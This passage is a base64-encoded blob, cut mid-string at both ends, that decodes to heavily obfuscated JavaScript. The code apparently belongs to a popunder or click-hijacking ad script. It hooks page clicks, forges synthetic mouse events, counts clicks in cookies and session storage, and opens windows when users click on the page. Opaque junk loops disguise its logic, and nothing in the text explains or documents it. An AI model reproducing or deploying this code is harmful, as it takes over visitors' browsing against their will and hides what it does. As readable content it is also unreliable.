pXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10oZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1JpK0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19zXSYmZVtxZStHcitfc10oKTt3NS5vNCg0KTtlW3c1LmM0KE5yLEdyLGNvKV09eXU7dzUubzQoNCk7ZVt3NS51NChtcyxHcixIcildPWd1O31jYXRjaCh0KXt9fSxpOmZ1bmN0aW9uKCl7dmFyIE8xLEcxLEMxO08xPS0xMzAyMzI0NTE3O0cxPTg4ODY0MDYzMDtDMT0yO2Zvcih2YXIgbjE9MTt3NS5kMShuMS50b1N0cmluZygpLG4xLnRvU3RyaW5nKCkubGVuZ3RoLDU5MTU1KSE9PU8xO24xKyspe3JldHVybiB0aGlzLm10LlVlfHx0aGlzLm10LkRlO0MxKz0yO31pZih3NS5MMShDMS50b1N0cmluZygpLEMxLnRvU3RyaW5nKCkubGVuZ3RoLDIzODAyKSE9PUcxKXtyZXR1cm4gdGhpcy5tdC5VZSYmdGhpcy5tdC5EZTt9fSxwaTpmdW5jdGlvbigpe3ZhciBoNyxpNyxMNztoNz0tMTUxMTEyMzE1NDtpNz0tMTY3MjAwNTI5NjtMNz0yO2Zvcih2YXIgTzc9MTt3NS5kMShPNy50b1N0cmluZygpLE83LnRvU3RyaW5nKCkubGVuZ3RoLDMyNTMzKSE9PWg3O083Kyspe3JldHVybiB0aGlzLiRpKCk8dGhpcy5tdC5IZTtMNys9Mjt9aWYodzUuTDEoTDcudG9TdHJpbmcoKSxMNy50b1N0cmluZygpLmxlbmd0aCwxOTk5KSE9PWk3KXtyZXR1cm4gdGhpcy4kaSgpPj10aGlzLm10LkhlO319LGdpOmZ1bmN0aW9uKHQsZSxpLG4scil7Zm9yKHZhciBvLHM9MDtzPGUmJihvPXRbc10sISgxPT09biYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzErKGlbc108PGlbc10lMTApLGlbZStzXSl8fHIob1trZStHcitucytHcitCaV0ob1twaV0tMSkqaVtzXSoyK3MrKGlbc10+PnMpLGlbMiplK3NdKXx8cihvW3BpXSppW3NdKjMrKGlbc108PHMpLGlbMyplK3NdKSl8fG48MSYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzEsaVtlK3NdKXx8cihvW2tlK0dyK25zK0dyK0JpXShvW3BpXS0xKSppW3NdKjIrcyxpWzIqZStzXSl8fHIob1twaV0qaVtzXSozLGlbMyplK3NdKSkpKTtzKyspO30sV2U6W10sdG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gbmV3IFljKHRoaXMuV2VbcGldLHQsZSk7fSxBaTpmdW5jdGlvbih0KXt0aGlzLmNpLnVpPXQ7dGhpcy5jaS5HPVpjLkcoKTt9LGFpOltdLE1pOmZ1bmN0aW9uKHQpe3JldHVybiBudS5YdCh0KSx0aGlzO30sWmk6ZnVuY3Rpb24oKXtyZXR1cm4gWmMucChbW1RyLHRoaXMubXQuRGVdLFtvaSx0aGlzLm10LlVlXSxbd3QsdGhpcy5tdC5SZV0sW0xyK0dyK3plLHRoaXMubXQuT2VdLFtSbitHcitFbix0aGlzLm10Lk5lXSxbRHQsdGhpcy5tdC5IZV0sW2xjK0dyK2JhLHRoaXMubXQucWVdLFtSbitHcitiYSx0aGlzLm10LkplXSxbUW4sdGhpcy5tdC5WZV0sW3crR3IrVix0aGlzLm10LiRlXSxbdytHcitEbix0aGlzLm10LlFlXSxbcG4rR3IrdHIrR3IrTG4sdGhpcy5tdC5HZV0sW0JzK0dyK2wrR3IrU3MsdGhpcy5tdC4kdF0sW05zK0dyKyRyLHRoaXMubXQuWWVdLFtJYytHcitwYytHcitfaSx0aGlzLm10LmJlXSxbTHMrR3IrYnQsdGhpcy5tdC5LZV0sW0IrR3IrdmUrR3IrX28rR3IreW4rR3IrTG4sdGhpcy5tdC5QZV1dKTt9LFRlOmZ1bmN0aW9uKHQpe3ZhciBlLGk7aT1aYy5PKGd1KTtyZXR1cm4gZT1pW3RvK0dyK3lhXVttcl1bVXMrR3IrQ25dKGRlKSwwPT09eVtFaV1bdW5dW0wrR3IrV2FdKGorVnQrR3IpP2VbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPUdyKyhXcitZZStHcit3bitHcikrKGYrVHQrUytUdCthYStHcitaZStHcitRaStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKTplW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoV3IrWWUrR3Ird24rR3IpKyhZcitUdCtjYStHcitfZStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSxpW3RvK0dyK3lhXVttcl1bUXJdW0l0K0dyK1dlXShlKSx0eXBlb2YgdCE9PVd0JiZ0eXBlb2YgdCE9PWdlfHxpbyhmdW5jdGlvbigpe1pjLlAoaSk7fSx0fHw1MDApLGk7fSxOaTpmdW5jdGlvbigpe3ZhciBvMSx3MSxwMTtvMT0tMjExMjgyOTI0MDt3MT00MjIxODMwODI7cDE9Mjtmb3IodmFyIHEwPTE7dzUuZDEocTAudG9TdHJpbmcoKSxxMC50b1N0cmluZygpLmxlbmd0aCwzNTgxNCkhPT1vMTtxMCsrKXtmb3IodmFyIHQsZT02O2U8PXRoaXMuV2VbcGldO2UtLSl7dD10aGlzLldlW2VdO3R1LnUodC5tdC5idCk7fXRoaXMuWGUub2k9dGhpcy5YZS5zaT00O2V1LnUodXUpO2V1LnUoY3UpO2V1LnUoaHUpO3AxKz0yO31pZih3NS5MMShwMS50b1N0cmluZygpLHAxLnRvU3RyaW5nKCkubGVuZ3RoLDUxMjkxKSE9PXcxKXtmb3IodmFyIHQsZT0yO2U8dGhpcy5XZVtwaV07ZSsrKXt0PXRoaXMuV2VbZV07dHUudSh0Lm10LmJ0KTt9dGhpcy5YZS5vaT10aGlzLlhlLnNpPTM7ZXUudSh1dSk7ZXUudShjdSk7ZXUudShodSk7fWZvcih2YXIgdCxlPTA7ZTx0aGlzLldlW3BpXTtlKyspe3Q9dGhpcy5XZVtlXTt0dS51KHQubXQuYnQpO310aGlzLlhlLm9pPXRoaXMuWGUuc2k9MDtldS51KHV1KTtldS51KGN1KTtldS51KGh1KTt9LHppOmZ1bmN0aW9uKCl7dmFyIHQ7dD0wO3JldHVybiBldS5zKCk/KHQ9ZXUuYyh1dSksZXUudSh1dSkpOnR1LmModXUpJiYocmlbaWFdPT09UnRbdW5dfHx+UnRbdW5dW0wrR3IrV2FdKEdyK3NlK0dyK3R1LmMoY3UpKSkmJih0PXR1LmModXUpLGlvKGZ1bmN0aW9uKCl7dHUudSh1dSk7dHUudShjdSk7fSwzMDApKSx0PVVjKHQsMTApLHQ9cWModCk/MDp0LHRoaXMuWGUuc2k9dDt9LG10OntOZTpndSxLZTp5dSxKZTpbXSxWZTowLCR0OmJ1LCRlOltdLERlOnl1LE9lOkZ1LEhlOjk5OTksUmU6eXUscWU6W10sWWU6MTAsVWU6eXUsUWU6Z3UsUGU6eXUsYmU6eXUsR2U6Z3V9LCRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuWGUuc2k7fSxRaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLlhlLm9pO30sYmk6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhLGMsdSxuOSxGOSxnOTtzPXRoaXM7YT0wO2M9dGhpcy5YZTt1PWZ1bmN0aW9uKHQsZSl7dmFyIFA5LEo5LFg5O1A5PTMyNTI1NjI2O0o5PS05NTA1MjQwNDM7WDk9Mjtmb3IodmFyIFM5PTE7dzUuTDEoUzkudG9TdHJpbmcoKSxTOS50b1N0cmluZygpLmxlbmd0aCw0ODQ5MykhPT1QOTtTOSsrKXtyZXR1cm4gdD09PWV8fChjLm5pPWd1LHMubGk9a3UpLHQhPWU7WDkrPTI7fWlmKHc1LkwxKFg5LnRvU3RyaW5nKCksWDkudG9TdHJpbmcoKS5sZW5ndGgsNTM4MDApIT09Sjkpe3JldHVybiB0IT09ZSYmKGMubmk9Z3Uscy5saT1rdSksdCE9PWU7fX07aWYodHlwZW9mIHlbcnVdW2FyXSE9PWdlKXtjLm5pPW11O3Q9eVtydV1bYXJdW1huXSgpO2U9eVtydV1bYXJdW1huXSgpO2k9eVtydV1bYXJdW1huXSgpO249eVtydV1bYXJdW1huXSgpO3I9WmMuRigoeVtydV1bYXJdW1huXSgpfHx7c3JjOm51bGx9KVtYcl0pO289WmMuRih4dVtYcl0pO3RyeXtuOT0xNDUwNjEyMjI1O0Y5PS01NjY0Nzc2Nzc7Zzk9Mjtmb3IodmFyIFI5PTE7dzUuZDEoUjkudG9TdHJpbmcoKSxSOS50b1N0cmluZygpLmxlbmd0aCwyODY5NSkhPT1uOTtSOSsrKXthPXlbcnVdW2FyXVtYbl0oKSYmNztnOSs9Mjt9aWYodzUuZDEoZzkudG9TdHJpbmcoKSxnOS50b1N0cmluZygpLmxlbmd0aCwzODQzOCkhPT1GOSl7YT15W3J1XVthcl1bWG5dKCkmJjc7fWE9eVtydV1bYXJdW1huXSgpfHwwO31jYXRjaCh0KXt9YT1kcltCb10oMCxkcltrYV0oMSxhKSk7dGhpcy5taSh0LG8scix1KTt0aGlzLmdpKHQsdFtwaV0sZSxhLHUpO3RoaXMueWkoaSxpW3BpXSxuLGEsdSk7dGhpcy5raSh0LHRbcGldLFpjLkYoKSx1LHUpO3RoaXMud2koaSxaYy5HKCkpO2Mubmk9PT1tdSYmKGMubmk9eXUpO31jLnhpPWF8fDA7fSxFaTpmdW5jdGlvbih0LGUpe3ZhciBkOSxPOSxHOTtkOT04MzA2MTMyMTE7Tzk9MTQwNDM5MjY4MztHOT0yO2Zvcih2YXIgazk9MTt3NS5kMShrOS50b1N0cmluZygpLGs5LnRvU3RyaW5nKCkubGVuZ3RoLDE2MDEwKSE9PWQ5O2s5Kyspe3RoaXMueGUuUXQ9dDt0aGlzLnhlLlM9ZTtHOSs9Mjt9aWYodzUuZDEoRzkudG9TdHJpbmcoKSxHOS50b1N0cmluZygpLmxlbmd0aCw3Njg2OSkhPT1POSl7dGhpcy54ZS5RdD10O3RoaXMueGUuUz1lO319LFhpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbix1OSx5OSxIOTtuPXR8fHt9O2ZvcihlIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixlKSlzd2l0Y2godGhpcy5tdFtlXT1pPW5bZV0sZSl7Y2FzZSBUcjp0aGlzLm10LkRlPWk7YnJlYWs7Y2FzZSBvaTp0aGlzLm10LlVlPWk7YnJlYWs7Y2FzZSB3dDp0aGlzLm10LlJlPWk7YnJlYWs7Y2FzZSBMcitHcit6ZTp0aGlzLm10Lk9lPWk7YnJlYWs7Y2FzZSBSbitHcitFbjp0aGlzLm10Lk5lPWk7YnJlYWs7Y2FzZSBEdDp0aGlzLm10LkhlPWk7YnJlYWs7Y2FzZSBsYytHcitiYTp0aGlzLnFlW29hXSh0aGlzLGkpO2JyZWFrO2Nhc2UgUm4rR3IrYmE6dGhpcy5KZVtvYV0odGhpcyxpKTticmVhaztjYXNlIFFuOnRoaXMubXQuVmU9aTticmVhaztjYXNlIHcrR3IrVjp0aGlzLm10LiRlPWk7YnJlYWs7Y2FzZSB3K0dyK0RuOnRoaXMubXQuUWU9aTticmVhaztjYXNlIHBuK0dyK3RyK0dyK0xuOnRoaXMubXQuR2U9aTticmVhaztjYXNlIEJzK0dyK2wrR3IrU3M6dGhpcy5tdC4kdD1pO2JyZWFrO2Nhc2UgTnMrR3IrJHI6dGhpcy5tdC5ZZT1pO2JyZWFrO2Nhc2UgSWMrR3IrcGMrR3IrX2k6dGhpcy5tdC5iZT1pO2JyZWFrO2Nhc2UgTHMrR3IrYnQ6dGhpcy5tdC5LZT1pO2JyZWFrO2Nhc2UgQitHcit2ZStHcitfbytHcit5bitHcitMbjp0aGlzLm10LlBlPWk7fXU5PTE1MDY0OTg2ODA7eTk9NjExNzc3ODY1O0g5PTI7Zm9yKHZhciBUOT0xO3c1LkwxKFQ5LnRvU3RyaW5nKCksVDkudG9TdHJpbmcoKS5sZW5ndGgsNjMyMykhPT11OTtUOSsrKXtyZXR1cm4gdGhpcztIOSs9Mjt9aWYodzUuZDEoSDkudG9TdHJpbmcoKSxIOS50b1N0cmluZygpLmxlbmd0aCw2MzczOSkhPT15OSl7cmV0dXJuIHRoaXM7fX0saGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksZzcsTTcsUjc7Zzc9LTM5MDQ0MjA2O003PS0xNjI0Njc4MzI1O1I3PTI7Zm9yKHZhciBKNz0xO3c1LkwxKEo3LnRvU3RyaW5nKCksSjcudG9TdHJpbmcoKS5sZW5ndGgsNTI1MzkpIT09Zzc7SjcrKyl7ZT10aGlzLndlKCk7aT10aGlzLmNpLnVpO1I3Kz0yO31pZih3NS5MMShSNy50b1N0cmluZygpLFI3LnRvU3RyaW5nKCkubGVuZ3RoLDg0NzUzKSE9PU03KXtlPXRoaXMud2UoKTtpPXRoaXMuY2kudWk7fXRyeXsodD1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0oZ3MsZ3UsZ3UseSwxLGlbT2krR3IrVWVdLGlbT2krR3IreG9dLGlbSGMrR3IrVWVdLGlbSGMrR3IreG9dLHl1LHl1LHl1LHl1LDAsbXUpO3RbVW9dPWd1O2VbZ24rR3IrQ2FdKHQpO31jYXRjaCh0KXtLYy5lKHQpO319LFZpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuUGkobzUpO30sU2k6ZnVuY3Rpb24oKXt2YXIgdCxpLG4scixvLHM7cj10aGlzO289NTAwO3M9ZnVuY3Rpb24odCxlKXt2YXIgaSxuO249WGMuYj9lYzpnczsoaT1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0obixndSxndSx5LDEsZVtPaStHcitVZV0sZVtPaStHcit4b10sZVtIYytHcitVZV0sZVtIYytHcit4b10seXUseXUseXUseXUsMCxtdSk7aS5mYz1ndTt0W2duK0dyK0NhXShpKTt9O2l1LlgocmksJHQsZnVuY3Rpb24ocil7dmFyIG8sRjEsZzEsTTE7dzUubzQoNCk7bz1yW3c1LnU0KHNyLEdyLGUpXVswXTtGMT05NTkwNTM3NzY7ZzE9LTE3NzY2NDMwNTc7TTE9Mjtmb3IodmFyIFAxPTE7dzUuZDEoUDEudG9TdHJpbmcoKSxQMS50b1N0cmluZygpLmxlbmd0aCw4NTkzNCkhPT1GMTtQMSsrKXt3NS5vNCgxOCk7dD1yW3c1LnU0KG9zLEpzLEdyKV07dzUuWTQoMTkpO2k9b1t3NS51NChHcixmbyxVZSldO3c1Lm80KDIwKTtuPW9bdzUuYzQoeG8sZm8sR3IpXTtNMSs9Mjt9aWYodzUuTDEoTTEudG9TdHJpbmcoKSxNMS50b1N0cmluZygpLmxlbmd0aCwxMTM5OCkhPT1nMSl7dzUubzQoMjEpO3Q9clt3NS5jNChvcyxKcyxHcildO3c1Llk0KDIyKTtpPW9bdzUuYzQoR3IsVWUsZm8pXTt3NS5vNCg2KTtuPW9bdzUuYzQoR3IseG8sZm8pXTt9dzUubzQoNCk7dD1yW3c1LnU0KG9zLEdyLEpzKV07dzUuWTQoNCk7aT1vW3c1LmM0KGZvLEdyLFVlKV07dzUubzQoNCk7bj1vW3c1LnU0KGZvLEdyLHhvKV07fSxndSk7aXUuWChyaSx2LGZ1bmN0aW9uKGEpe3ZhciBjLHUsaCxTMCxOMCxhMDtTMD0xMTI5ODE1NDEyO04wPS00NTk2NDE3MTE7YTA9Mjtmb3IodmFyIGYwPTE7dzUuZDEoZjAudG9TdHJpbmcoKSxmMC50b1N0cmluZygpLmxlbmd0aCw5MDQxMCkhPT1TMDtmMCsrKXt3NS5vNCg0KTtjPWFbdzUuYzQoc3IsR3IsZSldWzBdO3U9aXUudHQoYSk7aD1yLm10LlllO2EwKz0yO31pZih3NS5MMShhMC50b1N0cmluZygpLGEwLnRvU3RyaW5nKCkubGVuZ3RoLDUxODk1KSE9PU4wKXt3NS5ZNCg2KTtjPWFbdzUudTQoR3IsZSxzcildWzRdO3U9aXUudHQoYSk7aD1yLm10LlllO31kcltGc10oY1tmbytHcitVZV0taSk+PWh8fGRyW0ZzXShjW2ZvK0dyK3hvXS1uKT49aHx8YVtvcytHcitKc10tdD5vfHxyLm10LlllPD0wfHxYYy5odCYmRGlbaXJdKHVbU2MrR3IrbWNdKXx8ci5YZS5paXx8ci5YZS5uaXx8ci5YZS5yaXx8ci5waSgpfHxyLl9pKCl8fCFyLlBpKCl8fCFyLlRpKHUpfHwhci5tdC5OZSYmWmMuUyh1KXx8KHVbU2MrR3IrbWNdPT09T24mJnIuRWUoYSkscyh1LGMpKTt9LGd1KTt9LG1pOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByLG87bz15dTtmb3Iocj0wO3I8dFtwaV07cisrKWlmKHRbcl09PT13dSl7bz1ndTticmVhazt9byYmKGV8fGkpJiYoIXRoaXMuT2koZSx0KXx8IXRoaXMuT2koaSx0KXx8eVtydV1bdW5dJiZ5W3J1XVt1bl1bcGldJiYhdGhpcy5PaShaYy5GKCkseVtydV1bdW5dKSkmJm4oZ3UseXUpO30seGU6e1F0Om11LFM6eXV9LHFlOmZ1bmN0aW9uKCl7dmFyIHQ7dD1aYy54KGFyZ3VtZW50c1swXSk/YXJndW1lbnRzWzBdOmFyZ3VtZW50cztyZXR1cm4gdGhpcy5ubih0LGxjLHRbcGldJiZ0WzBdPT09eXUpO30sd2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBXMSxsMSxjMTtXMT0xMTQ2NjMzOTY5O2wxPTU4MTgzMzU3NjtjMT0yO2Zvcih2YXIgdTE9MTt3NS5kMSh1MS50b1N0cmluZygpLHUxLnRvU3RyaW5nKCkubGVuZ3RoLDY5ODkxKSE9PVcxO3UxKyspe1pjLkcodFtOaV0oR3IrUGUrR3IpKTxlJiZpKGd1LHl1KTtjMSs9Mjt9aWYodzUuZDEoYzEudG9TdHJpbmcoKSxjMS50b1N0cmluZygpLmxlbmd0aCw0ODMyNikhPT1sMSl7WmMuRyh0W05pXShHciVQZSVHcikpPj1lfHxpKGd1LHl1KTt9fSxDaTpmdW5jdGlvbigpe3ZhciByLG8scyxhLGMsdSxoLGYscCxfO2Z1bmN0aW9uIHQoKXt2YXIgdCxlO3c1Lm80KDE3KTtlPVt3NS51NChIbixUdCxHcixFbixHcixDYSxKYSksdzUuYzQoeG4sVHQsR3IsRW4sR3IsQ2EsSmEsdzUubzQoMTcpKSx3NS5jNChKYSxUdCxRYSx3NS5ZNCg0KSksdzUuYzQoQ24sR3IsVXMsbXIsVHQsdzUubzQoMSkpLHc1LnU0KFdlLEdyLHhuLG1yLFR0LHc1Llk0KDEpKV07Zm9yKHQ9MDt0PGVbcGldO3QrKylpZihaYy5sKGVbdF0pKXtyZXR1cm4gS2MuZSh0LFpjLmwoZVt0XSkpLGd1O31yZXR1cm4geXU7fWZ1bmN0aW9uIGkoaSl7dT0yO198fChfPWd1LGlvKGZ1bmN0aW9uKCl7Xz15dTt9LFhjLm90PzUwMDoxNTApLEN1JiYhcC5VZXx8KHI9aXUudHQoaSksbz1aYy5CKHIsT24pLGM9WmMuUyhyKSxyW2FhK0dyK0dpXShsbyk9PT1mdT8oclt4ZV1beHRdPVhpLFpjLlAocikscj1pdS50dChpLGd1KSk6byYmKHM9KHI9bylbYWErR3IrR2ldKFRpKSxhPVpjLk4ociksYz1aYy5TKHIpKSxmLkVpKHIsYyksZi5YZS5paXx8Zi5YZS5uaXx8Zi5YZS5yaXx8aVtVb118fGUoZi5jaS51aVtPXSYmZi5jaS51aVtPXSE9PWlbT10pfHxlKHAuS2UmJiFFdSl8fGUoIWlbSGMrR3IrVWVdJiYhaVtIYytHcit4b10pfHxlKCFYYy5vdCYmIVhjLmcmJnR5cGVvZiBpW3F0XSE9PWdlJiYwIT09aVtxdF0pfHxlKCFYYy5vdCYmIWYuWmUmJihYYy5jdHx8WGMuYnx8WGMudXQpKXx8ZSghWGMub3QmJiFwLkdlJiYoWGMuYnx8WGMudXQpJiZzPT09RmkpfHxlKGYucGkoKSl8fGUoZi5faSgpKXx8ZSghZi5QaSgpKXx8ZSghZi5UaShyKSl8fGUoYyYmIXAuTmUpfHxlKCFwLlJlJiZ0KCkpfHwoZi5BaShpKSxYYy5ldCYmbyYmYSYmZi5FZShpKSxYYy5vdHx8IW98fGN8fChYYy5iJiZzIT09RmkmJlpjLlkoKXx8cC5HZSYmcz09PUZpJiYoWGMuYnx8WGMudXQpKSYmZi5FZShpKSxmLkZpPW11LGYuaGkoKSkpKTt9Zj10aGlzO3A9Zi5tdDtfPXl1O2Z1bmN0aW9uIGUodCl7cmV0dXJuKyt1LHQmJktjLmUodSksdDt9cC5SZXx8IXQoKT8oaD1YYy5kfHxYYy5nP3FhOmVjLGZ1bmN0aW9uKCl7aXUuWChyaSxncyxpLGd1KTtYYy5vdD8oaXUuWChyaSxlYyxuLGd1KSxpdS5YKHJpLHFhLG4sZ3UpKTppdS5YKHJpLGgsbixndSk7fSgpLHRoaXMuU2koKSx0aGlzLmppKCksdGhpcy5MaSgpLHRoaXMuemkoKSx0aGlzLkJpKCkpOktjLmUoeXUpO2Z1bmN0aW9uIG4odCl7cj1vPWM9cz1hPW11OyFYYy5vdCYmdFtIYytHcitVZV0rKFhjLm50PzE3OjE1KT55W1BhK0dyK2ddP3AuUWUmJigocj17fSkuc2Nyb2xsYmFyPWd1LGYuRWkocix5